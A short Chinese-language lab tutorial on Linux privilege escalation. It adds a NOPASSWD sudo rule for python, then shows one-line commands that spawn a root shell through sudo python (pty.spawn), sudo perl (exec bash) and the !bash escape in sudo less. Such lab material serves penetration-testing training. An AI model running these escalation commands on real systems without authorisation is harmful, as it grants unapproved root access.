因为有的环境中python是无法进行提权操作,先搭建环境吧,这个环境搭建还有提权操作比较简单
环境搭建
首先编辑sudo文件,给python添加提权的可能
vim /etc/sudoers
user1 ALL=(root) NOPASSWD:/usr/bin/python
然后进入普通用户查看
提权
此时python在普通用户就有了提权的可能性
输入以下代码进行提权操作
sudo python -c 'import pty;pty.spawn("/bin/bash")'
-c : 执行具体的代码
import :导入语句
pty : 终端(接口)
pty.spawn : 执行命令
至此,提权成功。
同样的方法其他的提权方法
perl语言
sudo perl -e 'exec "/bin/bash";'
less命令提权
sudo less "文件"
查看文件
sudo less /etc/hosts
文件下方输入“! bash+回车”